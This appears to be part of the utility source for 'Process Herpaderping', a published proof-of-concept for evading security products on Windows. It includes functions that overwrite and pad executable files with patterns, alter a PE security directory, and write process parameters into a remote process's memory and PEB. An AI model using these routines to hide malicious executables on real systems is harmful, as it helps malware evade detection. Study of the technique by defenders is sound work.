HRESULT Utils::SetFilePointer(
|
||||
handle_t FileHandle,
|
||||
int64_t DistanceToMove,
|
||||
uint32_t MoveMethod)
|
||||
{
|
||||
LARGE_INTEGER distance;
|
||||
distance.QuadPart = DistanceToMove;
|
||||
|
||||
RETURN_IF_WIN32_BOOL_FALSE_EXPECTED(SetFilePointerEx(FileHandle,
|
||||
distance,
|
||||
nullptr,
|
||||
MoveMethod));
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
_Use_decl_annotations_
|
||||
HRESULT Utils::CopyFileByHandle(
|
||||
handle_t SourceHandle,
|
||||
handle_t TargetHandle,
|
||||
bool FlushFile)
|
||||
{
|
||||
//
|
||||
// Get the file sizes.
|
||||
//
|
||||
uint64_t sourceSize;
|
||||
RETURN_IF_FAILED(GetFileSize(SourceHandle, sourceSize));
|
||||
|
||||
uint64_t targetSize;
|
||||
RETURN_IF_FAILED(GetFileSize(TargetHandle, targetSize));
|
||||
|
||||
//
|
||||
// Set the file pointers to the beginning of the files.
|
||||
//
|
||||
RETURN_IF_FAILED(SetFilePointer(SourceHandle, 0, FILE_BEGIN));
|
||||
RETURN_IF_FAILED(SetFilePointer(TargetHandle, 0, FILE_BEGIN));
|
||||
|
||||
uint64_t bytesRemaining = sourceSize;
|
||||
std::vector<uint8_t> buffer;
|
||||
if (bytesRemaining > MaxFileBuffer)
|
||||
{
|
||||
buffer.assign(MaxFileBuffer, 0);
|
||||
}
|
||||
else
|
||||
{
|
||||
buffer.assign(SCAST(size_t)(bytesRemaining), 0);
|
||||
}
|
||||
|
||||
while (bytesRemaining > 0)
|
||||
{
|
||||
if (bytesRemaining < buffer.size())
|
||||
{
|
||||
buffer.assign(SCAST(size_t)(bytesRemaining), 0);
|
||||
}
|
||||
|
||||
DWORD bytesRead = 0;
|
||||
RETURN_IF_WIN32_BOOL_FALSE(ReadFile(SourceHandle,
|
||||
buffer.data(),
|
||||
SCAST(DWORD)(buffer.size()),
|
||||
&bytesRead,
|
||||
nullptr));
|
||||
|
||||
bytesRemaining -= bytesRead;
|
||||
|
||||
DWORD bytesWitten = 0;
|
||||
RETURN_IF_WIN32_BOOL_FALSE(WriteFile(TargetHandle,
|
||||
buffer.data(),
|
||||
SCAST(DWORD)(buffer.size()),
|
||||
&bytesWitten,
|
||||
nullptr));
|
||||
}
|
||||
|
||||
if (FlushFile)
|
||||
{
|
||||
RETURN_IF_WIN32_BOOL_FALSE(FlushFileBuffers(TargetHandle));
|
||||
}
|
||||
RETURN_IF_WIN32_BOOL_FALSE(SetEndOfFile(TargetHandle));
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
_Use_decl_annotations_
|
||||
HRESULT Utils::OverwriteFileContentsWithPattern(
|
||||
handle_t FileHandle,
|
||||
std::span<const uint8_t> Pattern,
|
||||
bool FlushFile)
|
||||
{
|
||||
uint64_t targetSize;
|
||||
RETURN_IF_FAILED(GetFileSize(FileHandle, targetSize));
|
||||
RETURN_IF_FAILED(SetFilePointer(FileHandle, 0, FILE_BEGIN));
|
||||
|
||||
uint64_t bytesRemaining = targetSize;
|
||||
std::vector<uint8_t> buffer;
|
||||
if (bytesRemaining > MaxFileBuffer)
|
||||
{
|
||||
buffer.resize(MaxFileBuffer);
|
||||
RETURN_IF_FAILED(FillBufferWithPattern(buffer, Pattern));
|
||||
}
|
||||
else
|
||||
{
|
||||
buffer.resize(SCAST(size_t)(bytesRemaining));
|
||||
RETURN_IF_FAILED(FillBufferWithPattern(buffer, Pattern));
|
||||
}
|
||||
|
||||
while (bytesRemaining > 0)
|
||||
{
|
||||
if (bytesRemaining < buffer.size())
|
||||
{
|
||||
buffer.resize(SCAST(size_t)(bytesRemaining));
|
||||
RETURN_IF_FAILED(FillBufferWithPattern(buffer, Pattern));
|
||||
}
|
||||
|
||||
DWORD bytesWritten = 0;
|
||||
RETURN_IF_WIN32_BOOL_FALSE(WriteFile(FileHandle,
|
||||
buffer.data(),
|
||||
SCAST(DWORD)(buffer.size()),
|
||||
&bytesWritten,
|
||||
nullptr));
|
||||
|
||||
bytesRemaining -= bytesWritten;
|
||||
}
|
||||
|
||||
if (FlushFile)
|
||||
{
|
||||
RETURN_IF_WIN32_BOOL_FALSE(FlushFileBuffers(FileHandle));
|
||||
}
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
_Use_decl_annotations_
|
||||
HRESULT Utils::ExtendFileWithPattern(
|
||||
handle_t FileHandle,
|
||||
uint64_t NewFileSize,
|
||||
std::span<const uint8_t> Pattern,
|
||||
uint32_t& AppendedBytes,
|
||||
bool FlushFile)
|
||||
{
|
||||
AppendedBytes = 0;
|
||||
|
||||
uint64_t targetSize;
|
||||
RETURN_IF_FAILED(GetFileSize(FileHandle, targetSize));
|
||||
|
||||
if (targetSize >= NewFileSize)
|
||||
{
|
||||
RETURN_LAST_ERROR_SET(ERROR_FILE_TOO_LARGE);
|
||||
}
|
||||
|
||||
RETURN_IF_FAILED(SetFilePointer(FileHandle, 0, FILE_END));
|
||||
|
||||
uint64_t bytesRemaining;
|
||||
bytesRemaining = (NewFileSize - targetSize);
|
||||
std::vector<uint8_t> buffer;
|
||||
if (bytesRemaining > MaxFileBuffer)
|
||||
{
|
||||
buffer.resize(MaxFileBuffer);
|
||||
RETURN_IF_FAILED(FillBufferWithPattern(buffer, Pattern));
|
||||
}
|
||||
else
|
||||
{
|
||||
buffer.resize(SCAST(size_t)(bytesRemaining));
|
||||
RETURN_IF_FAILED(FillBufferWithPattern(buffer, Pattern));
|
||||
}
|
||||
|
||||
while (bytesRemaining > 0)
|
||||
{
|
||||
DWORD bytesWritten = 0;
|
||||
|
||||
if (bytesRemaining < buffer.size())
|
||||
{
|
||||
buffer.resize(SCAST(size_t)(bytesRemaining));
|
||||
RETURN_IF_FAILED(FillBufferWithPattern(buffer, Pattern));
|
||||
}
|
||||
|
||||
RETURN_IF_WIN32_BOOL_FALSE(WriteFile(FileHandle,
|
||||
buffer.data(),
|
||||
SCAST(DWORD)(buffer.size()),
|
||||
&bytesWritten,
|
||||
nullptr));
|
||||
|
||||
bytesRemaining -= bytesWritten;
|
||||
AppendedBytes += bytesWritten;
|
||||
}
|
||||
|
||||
if (FlushFile)
|
||||
{
|
||||
RETURN_IF_WIN32_BOOL_FALSE(FlushFileBuffers(FileHandle));
|
||||
}
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
_Use_decl_annotations_
|
||||
HRESULT Utils::OverwriteFileAfterWithPattern(
|
||||
handle_t FileHandle,
|
||||
uint64_t FileOffset,
|
||||
std::span<const uint8_t> Pattern,
|
||||
uint32_t& WrittenBytes,
|
||||
bool FlushFile)
|
||||
{
|
||||
WrittenBytes = 0;
|
||||
|
||||
uint64_t targetSize;
|
||||
RETURN_IF_FAILED(GetFileSize(FileHandle, targetSize));
|
||||
|
||||
if (FileOffset >= targetSize)
|
||||
{
|
||||
RETURN_LAST_ERROR_SET(ERROR_INVALID_PARAMETER);
|
||||
}
|
||||
|
||||
RETURN_IF_FAILED(SetFilePointer(FileHandle, FileOffset, FILE_BEGIN));
|
||||
|
||||
uint64_t bytesRemaining;
|
||||
bytesRemaining = (targetSize - FileOffset);
|
||||
std::vector<uint8_t> buffer;
|
||||
if (bytesRemaining > MaxFileBuffer)
|
||||
{
|
||||
buffer.resize(MaxFileBuffer);
|
||||
RETURN_IF_FAILED(FillBufferWithPattern(buffer, Pattern));
|
||||
}
|
||||
else
|
||||
{
|
||||
buffer.resize(SCAST(size_t)(bytesRemaining));
|
||||
RETURN_IF_FAILED(FillBufferWithPattern(buffer, Pattern));
|
||||
}
|
||||
|
||||
while (bytesRemaining > 0)
|
||||
{
|
||||
DWORD bytesWritten = 0;
|
||||
|
||||
if (bytesRemaining < buffer.size())
|
||||
{
|
||||
buffer.resize(SCAST(size_t)(bytesRemaining));
|
||||
RETURN_IF_FAILED(FillBufferWithPattern(buffer, Pattern));
|
||||
}
|
||||
|
||||
RETURN_IF_WIN32_BOOL_FALSE(WriteFile(FileHandle,
|
||||
buffer.data(),
|
||||
SCAST(DWORD)(buffer.size()),
|
||||
&bytesWritten,
|
||||
nullptr));
|
||||
|
||||
bytesRemaining -= bytesWritten;
|
||||
WrittenBytes += bytesWritten;
|
||||
}
|
||||
|
||||
if (FlushFile)
|
||||
{
|
||||
RETURN_IF_WIN32_BOOL_FALSE(FlushFileBuffers(FileHandle));
|
||||
}
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
_Use_decl_annotations_
|
||||
HRESULT Utils::ExtendFileSecurityDirectory(
|
||||
handle_t FileHandle,
|
||||
uint32_t ExtendedBy,
|
||||
bool FlushFile)
|
||||
{
|
||||
uint64_t targetSize;
|
||||
RETURN_IF_FAILED(GetFileSize(FileHandle, targetSize));
|
||||
|
||||
wil::unique_handle mapping;
|
||||
ULARGE_INTEGER mappingSize;
|
||||
mappingSize.QuadPart = targetSize;
|
||||
mapping.reset(CreateFileMappingW(FileHandle,
|
||||
nullptr,
|
||||
PAGE_READWRITE,
|
||||
mappingSize.HighPart,
|
||||
mappingSize.LowPart,
|
||||
nullptr));
|
||||
RETURN_LAST_ERROR_IF(!mapping.is_valid());
|
||||
|
||||
wil::unique_mapview_ptr<void> view;
|
||||
view.reset(MapViewOfFile(mapping.get(),
|
||||
FILE_MAP_READ | FILE_MAP_WRITE,
|
||||
0,
|
||||
0,
|
||||
mappingSize.LowPart));
|
||||
RETURN_LAST_ERROR_IF(view == nullptr);
|
||||
|
||||
auto dosHeader = RCAST(PIMAGE_DOS_HEADER)(view.get());
|
||||
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE)
|
||||
{
|
||||
//
|
||||
// This is not a PE file, we're done.
|
||||
//
|
||||
RETURN_LAST_ERROR_SET(ERROR_INVALID_IMAGE_HASH);
|
||||
}
|
||||
|
||||
auto ntHeader = RCAST(PIMAGE_NT_HEADERS32)(Add2Ptr(view.get(),
|
||||
dosHeader->e_lfanew));
|
||||
if (ntHeader->Signature != IMAGE_NT_SIGNATURE)
|
||||
{
|
||||
RETURN_LAST_ERROR_SET(ERROR_INVALID_IMAGE_HASH);
|
||||
}
|
||||
|
||||
IMAGE_DATA_DIRECTORY* secDir;
|
||||
if (ntHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC)
|
||||
{
|
||||
if (ntHeader->OptionalHeader.NumberOfRvaAndSizes < IMAGE_DIRECTORY_ENTRY_SECURITY)
|
||||
{
|
||||
//
|
||||
// No security directory, we're done.
|
||||
//
|
||||
return S_OK;
|
||||
}
|
||||
secDir = &ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY];
|
||||
}
|
||||
else if (ntHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC)
|
||||
{
|
||||
auto ntHeader64 = RCAST(PIMAGE_NT_HEADERS64)(ntHeader);
|
||||
if (ntHeader64->OptionalHeader.NumberOfRvaAndSizes < IMAGE_DIRECTORY_ENTRY_SECURITY)
|
||||
{
|
||||
//
|
||||
// No security directory, we're done.
|
||||
//
|
||||
return S_OK;
|
||||
}
|
||||
secDir = &ntHeader64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY];
|
||||
}
|
||||
else
|
||||
{
|
||||
RETURN_LAST_ERROR_SET(ERROR_INVALID_IMAGE_HASH);
|
||||
}
|
||||
|
||||
if ((secDir->VirtualAddress) == 0 || (secDir->Size == 0))
|
||||
{
|
||||
//
|
||||
// No security directory, we're done.
|
||||
//
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
//
|
||||
// Extend the security directory size.
|
||||
//
|
||||
secDir->Size = (secDir->Size + ExtendedBy);
|
||||
|
||||
RETURN_IF_WIN32_BOOL_FALSE(FlushViewOfFile(view.get(),
|
||||
mappingSize.LowPart));
|
||||
|
||||
view.reset();
|
||||
mapping.reset();
|
||||
|
||||
if (FlushFile)
|
||||
{
|
||||
RETURN_IF_WIN32_BOOL_FALSE(FlushFileBuffers(FileHandle));
|
||||
}
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
_Use_decl_annotations_
|
||||
HRESULT Utils::GetImageEntryPointRva(
|
||||
handle_t FileHandle,
|
||||
uint32_t& EntryPointRva)
|
||||
{
|
||||
EntryPointRva = 0;
|
||||
|
||||
uint64_t fileSize;
|
||||
RETURN_IF_FAILED(GetFileSize(FileHandle, fileSize));
|
||||
|
||||
ULARGE_INTEGER mappingSize;
|
||||
wil::unique_handle mapping;
|
||||
mappingSize.QuadPart = fileSize;
|
||||
mapping.reset(CreateFileMappingW(FileHandle,
|
||||
nullptr,
|
||||
PAGE_READONLY,
|
||||
mappingSize.HighPart,
|
||||
mappingSize.LowPart,
|
||||
nullptr));
|
||||
RETURN_LAST_ERROR_IF(!mapping.is_valid());
|
||||
|
||||
wil::unique_mapview_ptr<void> view;
|
||||
view.reset(MapViewOfFile(mapping.get(),
|
||||
FILE_MAP_READ,
|
||||
0,
|
||||
0,
|
||||
mappingSize.LowPart));
|
||||
RETURN_LAST_ERROR_IF(view == nullptr);
|
||||
|
||||
auto dosHeader = RCAST(PIMAGE_DOS_HEADER)(view.get());
|
||||
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE)
|
||||
{
|
||||
RETURN_LAST_ERROR_SET(ERROR_INVALID_IMAGE_HASH);
|
||||
}
|
||||
|
||||
auto ntHeader = RCAST(PIMAGE_NT_HEADERS32)(Add2Ptr(view.get(),
|
||||
dosHeader->e_lfanew));
|
||||
if (ntHeader->Signature != IMAGE_NT_SIGNATURE)
|
||||
{
|
||||
RETURN_LAST_ERROR_SET(ERROR_INVALID_IMAGE_HASH);
|
||||
}
|
||||
|
||||
if (ntHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC)
|
||||
{
|
||||
EntryPointRva = ntHeader->OptionalHeader.AddressOfEntryPoint;
|
||||
}
|
||||
else if (ntHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC)
|
||||
{
|
||||
auto ntHeader64 = RCAST(PIMAGE_NT_HEADERS64)(ntHeader);
|
||||
EntryPointRva = ntHeader64->OptionalHeader.AddressOfEntryPoint;
|
||||
}
|
||||
else
|
||||
{
|
||||
RETURN_LAST_ERROR_SET(ERROR_INVALID_IMAGE_HASH);
|
||||
}
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
class OptionalUnicodeStringHelper
|
||||
{
|
||||
public:
|
||||
|
||||
OptionalUnicodeStringHelper(
|
||||
_In_opt_ const std::optional<std::wstring>& String) :
|
||||
m_String(String)
|
||||
{
|
||||
if (m_String.has_value())
|
||||
{
|
||||
RtlInitUnicodeString(&m_Unicode, m_String->c_str());
|
||||
}
|
||||
else
|
||||
{
|
||||
RtlInitUnicodeString(&m_Unicode, L"");
|
||||
}
|
||||
}
|
||||
|
||||
PUNICODE_STRING Get()
|
||||
{
|
||||
if (m_String.has_value())
|
||||
{
|
||||
return &m_Unicode;
|
||||
}
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
operator PUNICODE_STRING()
|
||||
{
|
||||
return Get();
|
||||
}
|
||||
|
||||
private:
|
||||
|
||||
const std::optional<std::wstring>& m_String;
|
||||
UNICODE_STRING m_Unicode;
|
||||
|
||||
};
|
||||
|
||||
_Use_decl_annotations_
|
||||
HRESULT Utils::WriteRemoteProcessParameters(
|
||||
handle_t ProcessHandle,
|
||||
const std::wstring ImageFileName,
|
||||
const std::optional<std::wstring>& DllPath,
|
||||
const std::optional<std::wstring>& CurrentDirectory,
|
||||
const std::optional<std::wstring>& CommandLine,
|
||||
void* EnvironmentBlock,
|
||||
const std::optional<std::wstring>& WindowTitle,
|
||||
const std::optional<std::wstring>& DesktopInfo,
|
||||
const std::optional<std::wstring>& ShellInfo,
|
||||
const std::optional<std::wstring>& RuntimeData)
|
||||
{
|
||||
//
|
||||
// Get the basic info for the remote PEB address.
|
||||
//
|
||||
PROCESS_BASIC_INFORMATION pbi{};
|
||||
RETURN_IF_NTSTATUS_FAILED(NtQueryInformationProcess(
|
||||
ProcessHandle,
|
||||
ProcessBasicInformation,
|
||||
&pbi,
|
||||
sizeof(pbi),
|
||||
nullptr));
|
||||
|
||||
//
|
||||
// Generate the process parameters to write into the process.
|
||||
//
|
||||
UNICODE_STRING imageName;
|
||||
RtlInitUnicodeString(&imageName, ImageFileName.c_str());
|
||||
OptionalUnicodeStringHelper dllPath(DllPath);
|
||||
OptionalUnicodeStringHelper commandLine(CommandLine);
|
||||
OptionalUnicodeStringHelper currentDirectory(CurrentDirectory);
|
||||
OptionalUnicodeStringHelper windowTitle(WindowTitle);
|
||||
OptionalUnicodeStringHelper desktopInfo(DesktopInfo);
|
||||
OptionalUnicodeStringHelper shellInfo(ShellInfo);
|
||||
OptionalUnicodeStringHelper runtimeData(RuntimeData);
|
||||
wil::unique_user_process_parameters params;
|
||||
|
||||
//
|
||||
// Generate the process parameters and do not pass
|
||||
// RTL_USER_PROC_PARAMS_NORMALIZED, this will keep the process parameters
|
||||
// de-normalized (pointers will be offsets instead of addresses) then
|
||||
// LdrpInitializeProcess will call RtlNormalizeProcessParameters and fix
|
||||
// them up when the process starts.
|
||||
//
|
||||
// Note: There is an exception here, the Environment pointer is not
|
||||
// de-normalized - we'll fix that up ourself.
|
||||
//
|
||||
RETURN_IF_NTSTATUS_FAILED(RtlCreateProcessParametersEx(
|
||||
¶ms,
|
||||
&imageName,
|
||||
dllPath,
|
||||
currentDirectory,
|
||||
commandLine,
|
||||
EnvironmentBlock,
|
||||
windowTitle,
|
||||
desktopInfo,
|
||||
shellInfo,
|
||||
runtimeData,
|
||||
0));
|
||||
|
||||
//
|
||||
// Calculate the required length.
|
||||
//
|
||||
size_t len = params.get()->MaximumLength + params.get()->EnvironmentSize;
|
||||
|
||||
//
|
||||
// Allocate memory in the remote process to hold the process parameters.
|
||||
//
|
||||
auto remoteMemory = VirtualAllocEx(ProcessHandle,
|
||||
nullptr,
|
||||
len,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE);
|
||||
RETURN_IF_NULL_ALLOC(remoteMemory);
|
||||
|
||||
//
|
||||
// Okay we have some memory in the remote process, go do the final fix-ups.
|
||||
//
|
||||
if (params.get()->Environment != nullptr)
|
||||
{
|
||||
//
|
||||
// The environment block will always be right after the length, which
|
||||
// is the size of RTL_USER_PROCESS_PARAMETERS plus any extra field
|
||||
// data.
|
||||
//
|
||||
params.get()->Environment = Add2Ptr(remoteMemory, params.get()->Length);
|
||||
}
|
||||
|
||||
//
|
||||
// Write the parameters into the remote process.
|
||||
//
|
||||
RETURN_IF_WIN32_BOOL_FALSE(WriteProcessMemory(ProcessHandle,
|
||||
remoteMemory,
|
||||
params.get(),
|
||||
len,
|
||||
nullptr));
|
||||
|
||||
//
|
||||
// Write the parameter pointer to the remote process PEB.
|
||||
//
|
||||
RETURN_IF_WIN32_BOOL_FALSE(WriteProcessMemory(
|
||||
ProcessHandle,
|
||||
Add2Ptr(pbi.PebBaseAddress,
|
||||
FIELD_OFFSET(PEB, ProcessParameters)),
|
||||
&remoteMemory,
|
||||
sizeof(remoteMemory),
|
||||
nullptr));
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
@@ -0,0 +1,474 @@
|
||||
//
|
||||
// Copyright (c) Johnny Shaw. All rights reserved.
|
||||
//
|
||||
// File: source/ProcessHerpaderping/utils.hpp
|
||||
// Author: Johnny Shaw
|
||||
// Abstract: Utility functionality for herpaderping.
|
||||
//
|
||||
#pragma once
|
||||
|
||||
namespace Log
|
||||
{
|
||||
|
||||
constexpr static uint32_t Success{ 0x00000001ul };
|
||||
constexpr static uint32_t Information{ 0x00000002ul };
|
||||
constexpr static uint32_t Warning{ 0x00000004ul };
|
||||
constexpr static uint32_t Error{ 0x00000008ul };
|
||||
constexpr static uint32_t Context{ 0x00000010ul };
|
||||
constexpr static uint32_t Debug{ 0x80000000ul };
|
||||
|
||||
}
|
||||
|
||||
namespace Utils
|
||||
{
|
||||
/// <summary>
|
||||
/// Argument parser interface.
|
||||
/// </summary>
|
||||
class IArgumentParser
|
||||
{
|
||||
public:
|
||||
virtual ~IArgumentParser() = default;
|
||||
|
||||
/// <summary>
|
||||
/// Implements functionality for parsing arguments.
|
||||
/// </summary>
|
||||
/// <param name="Argc">
|
||||
/// Number of command line arguments.
|
||||
/// </param>
|
||||
/// <param name="Argv">
|
||||
/// Command line arguments.
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// Success if arguments were parsed successfully. Failure otherwise.
|
||||
/// </returns>
|
||||
_Must_inspect_result_ virtual HRESULT ParseArguments(
|
||||
_In_ int Argc,
|
||||
_In_reads_(Argc) const wchar_t* Argv[]) = 0;
|
||||
|
||||
/// <summary>
|
||||
/// Implements retrieving the argument usage.
|
||||
/// </summary>
|
||||
/// <returns>
|
||||
/// Argument usage.
|
||||
/// </returns>
|
||||
virtual std::wstring_view GetUsage() const = 0;
|
||||
|
||||
/// <summary>
|
||||
/// Provides the interface an opportunity to validate the parsed
|
||||
/// arguments. If the arguments are invalid (for example, two options
|
||||
/// are used that may not be specified together) the implementation
|
||||
/// may return failure here to indicate the arguments are invalid.
|
||||
/// </summary>
|
||||
_Must_inspect_result_ virtual HRESULT ValidateArguments() const = 0;
|
||||
|
||||
protected:
|
||||
IArgumentParser() = default;
|
||||
};
|
||||
|
||||
/// <summary>
|
||||
/// Matches a parameter argument with either short or parameter.
|
||||
/// </summary>
|
||||
/// <param name="Arg">
|
||||
/// Argument to check against short or long parameter argument
|
||||
/// must either be prefixed explicitly as long ("--") or short ("-", "/").
|
||||
/// </param>
|
||||
/// <param name="Short">
|
||||
/// Short parameter representation (e.g. "q").
|
||||
/// </param>
|
||||
/// <param name="Long">
|
||||
/// Long parameter representation (e.g. "quiet").
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// Success if the argument matches either the short to long parameter.
|
||||
/// </returns>
|
||||
_Must_inspect_result_ HRESULT MatchParameter(
|
||||
_In_ std::wstring_view Arg,
|
||||
_In_opt_ std::optional<std::wstring_view> Short,
|
||||
_In_opt_ std::optional<std::wstring_view> Long);
|
||||
|
||||
/// <summary>
|
||||
/// Checks for help options in parameters.
|
||||
/// </summary>
|
||||
/// <param name="Argc">
|
||||
/// Number of command line arguments.
|
||||
/// </param>
|
||||
/// <param name="Argv">
|
||||
/// Command line arguments.
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// Success if "--help", "-h", "/h", "-?", or "/?" are found in the
|
||||
/// command line arguments.
|
||||
/// </returns>
|
||||
_Must_inspect_result_ HRESULT CheckForHelpOptions(
|
||||
_In_ int Argc,
|
||||
_In_reads_(Argc) const wchar_t* Argv[]);
|
||||
|
||||
/// <summary>
|
||||
/// Handles command line arguments for a argument parser. If a help
|
||||
/// option is found or the parser fails. The function prints the header
|
||||
/// and usage text to stdout and return failure.
|
||||
/// </summary>
|
||||
/// <param name="Argc">
|
||||
/// Number of command line arguments.
|
||||
/// </param>
|
||||
/// <param name="Argv">
|
||||
/// Command line arguments.
|
||||
/// </param>
|
||||
/// <param name="Header">
|
||||
/// Header to print before usage.
|
||||
/// </param>
|
||||
/// <param name="Parser">
|
||||
/// Argument parser to use.
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// Success if the arguments were parsed successfully. Failure if the
|
||||
/// arguments were invalid or a help option was found.
|
||||
/// </returns>
|
||||
_Must_inspect_result_ HRESULT HandleCommandLineArgs(
|
||||
_In_ int Argc,
|
||||
_In_reads_(Argc) const wchar_t* Argv[],
|
||||
_In_opt_ std::optional<std::wstring_view> Header,
|
||||
_Inout_ IArgumentParser& Parser);
|
||||
|
||||
#pragma warning(push)
|
||||
#pragma warning(disable : 4634) // xmldoc: discarding XML document comment for invalid target
|
||||
/// <summary>
|
||||
/// Removes all occurrences of a set of values from an object.
|
||||
/// </summary>
|
||||
/// <typeparam name="T">
|
||||
/// Object type to remove elements of. Must implement erase, be forward
|
||||
/// iterate-able, and contained value type must be move assignable.
|
||||
/// </typeparam>
|
||||
/// <param name="Object">
|
||||
/// Object to erase elements from.
|
||||
/// </param>
|
||||
/// <param name="Values">
|
||||
/// Values to remove.
|
||||
/// </param>
|
||||
template <typename T>
|
||||
void EraseAll(
|
||||
_Inout_ T& Object,
|
||||
_In_ const std::initializer_list<typename T::value_type>& Values)
|
||||
{
|
||||
for (const auto& value : Values)
|
||||
{
|
||||
Object.erase(std::remove(Object.begin(),
|
||||
Object.end(),
|
||||
value),
|
||||
Object.end());
|
||||
}
|
||||
}
|
||||
#pragma warning(pop)
|
||||
|
||||
/// <summary>
|
||||
/// Formats an error code as a string.
|
||||
/// </summary>
|
||||
/// <param name="Error">
|
||||
/// Error code to format as a string.
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// Human readable string for the error code if the error is unknown a
|
||||
/// string is returned formatted as "[number] - Unknown Error".
|
||||
/// </returns>
|
||||
std::wstring FormatError(_In_ uint32_t Error);
|
||||
|
||||
/// <summary>
|
||||
/// Sets the logging mask.
|
||||
/// </summary>
|
||||
/// <param name="Level">
|
||||
/// Logging mask to set.
|
||||
/// </param>
|
||||
void SetLoggingMask(_In_ uint32_t Level);
|
||||
|
||||
/// <summary>
|
||||
/// Logs a string.
|
||||
/// </summary>
|
||||
/// <param name="Level">
|
||||
/// Logging level: Log::Success, Log::Information, Log::Warning, Log:Error.
|
||||
/// </param>
|
||||
/// <param name="Format">
|
||||
/// Format for log string.
|
||||
/// </param>
|
||||
/// <param name="...">
|
||||
/// Variadic arguments for formatting.
|
||||
/// </param>
|
||||
void Log(
|
||||
_In_ uint32_t Level,
|
||||
_Printf_format_string_ const wchar_t* Format,
|
||||
...);
|
||||
|
||||
/// <summary>
|
||||
/// Logs a string with a specified error code appended to the formatted
|
||||
/// string.
|
||||
/// </summary>
|
||||
/// <param name="Level">
|
||||
/// Logging level: Log::Success, Log::Information, Log::Warning, Log:Error.
|
||||
/// </param>
|
||||
/// <param name="Error">
|
||||
/// Error code.
|
||||
/// </param>
|
||||
/// <param name="Format">
|
||||
/// Format for log string.
|
||||
/// </param>
|
||||
/// <param name="...">
|
||||
/// Variadic arguments for formatting.
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// Supplied Error
|
||||
/// </returns>
|
||||
uint32_t Log(
|
||||
_In_ uint32_t Level,
|
||||
_In_ uint32_t Error,
|
||||
_Printf_format_string_ const wchar_t* Format,
|
||||
...);
|
||||
|
||||
/// <summary>
|
||||
/// Generates a buffer of a given length containing a supplied pattern.
|
||||
/// </summary>
|
||||
/// <param name="Buffer">
|
||||
/// Buffer to fill with the patter, must not be empty.
|
||||
/// </param>
|
||||
/// <param name="Pattern">
|
||||
/// Pattern to write into the buffer.
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// Success when the buffer is filled with the pattern. Failure if Buffer
|
||||
/// is empty.
|
||||
/// </returns>
|
||||
_Must_inspect_result_ HRESULT FillBufferWithPattern(
|
||||
_Inout_ std::vector<uint8_t>& Buffer,
|
||||
_In_ std::span<const uint8_t> Pattern);
|
||||
|
||||
/// <summary>
|
||||
/// Generates a buffer of random bytes of a given length.
|
||||
/// </summary>
|
||||
/// <param name="Buffer">
|
||||
/// Buffer to assign the bytes to, must not be empty.
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// Success if the buffer is filled with random bytes.
|
||||
/// </returns>
|
||||
_Must_inspect_result_ HRESULT FillBufferWithRandomBytes(
|
||||
_Inout_ std::vector<uint8_t>& Buffer);
|
||||
|
||||
/// <summary>
|
||||
/// Gets a file size.
|
||||
/// </summary>
|
||||
/// <param name="FileHandle">
|
||||
/// File to get the size of.
|
||||
/// </param>
|
||||
/// <param name="FileSize">
|
||||
/// Set to the size of the file on success.
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// Success if the file size of retrieved.
|
||||
/// </returns>
|
||||
_Must_inspect_result_ HRESULT GetFileSize(
|
||||
_In_ handle_t FileHandle,
|
||||
_Out_ uint64_t& FileSize);
|
||||
|
||||
/// <summary>
|
||||
/// Sets a file pointer.
|
||||
/// </summary>
|
||||
/// <param name="FileHandle">
|
||||
/// File to set the pointer of.
|
||||
/// </param>
|
||||
/// <param name="DistanceToMove">
|
||||
/// Distance to move the file pointer.
|
||||
/// </param>
|
||||
/// <param name="MoveMethod">
|
||||
/// Move method to use (FILE_BEGIN, FILE_CURRENT, FILE_END).
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// Success if the file pointer was set (or was already set).
|
||||
/// </returns>
|
||||
_Must_inspect_result_ HRESULT SetFilePointer(
|
||||
_In_ handle_t FileHandle,
|
||||
_In_ int64_t DistanceToMove,
|
||||
_In_ uint32_t MoveMethod);
|
||||
|
||||
/// <summary>
|
||||
/// Copies the contents for a source file to the target by handle.
|
||||
/// </summary>
|
||||
/// <param name="SourceHandle">
|
||||
/// Source file handle.
|
||||
/// </param>
|
||||
/// <param name="TargetHandle">
|
||||
/// Target file handle.
|
||||
/// </param>
|
||||
/// <param name="FlushFile">
|
||||
/// Flushes file buffers after copy, optional, defaults to true.
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// Success if the source file has been copied to the target.
|
||||
/// </returns>
|
||||
_Must_inspect_result_ HRESULT CopyFileByHandle(
|
||||
_In_ handle_t SourceHandle,
|
||||
_In_ handle_t TargetHandle,
|
||||
_In_ bool FlushFile = true);
|
||||
|
||||
/// <summary>
|
||||
/// Overwrites the contents of a file with a pattern.
|
||||
/// </summary>
|
||||
/// <param name="FileHandle">
|
||||
/// Target file to overwrite.
|
||||
/// </param>
|
||||
/// <param name="Pattern">
|
||||
/// Pattern write over the file content.
|
||||
/// </param>
|
||||
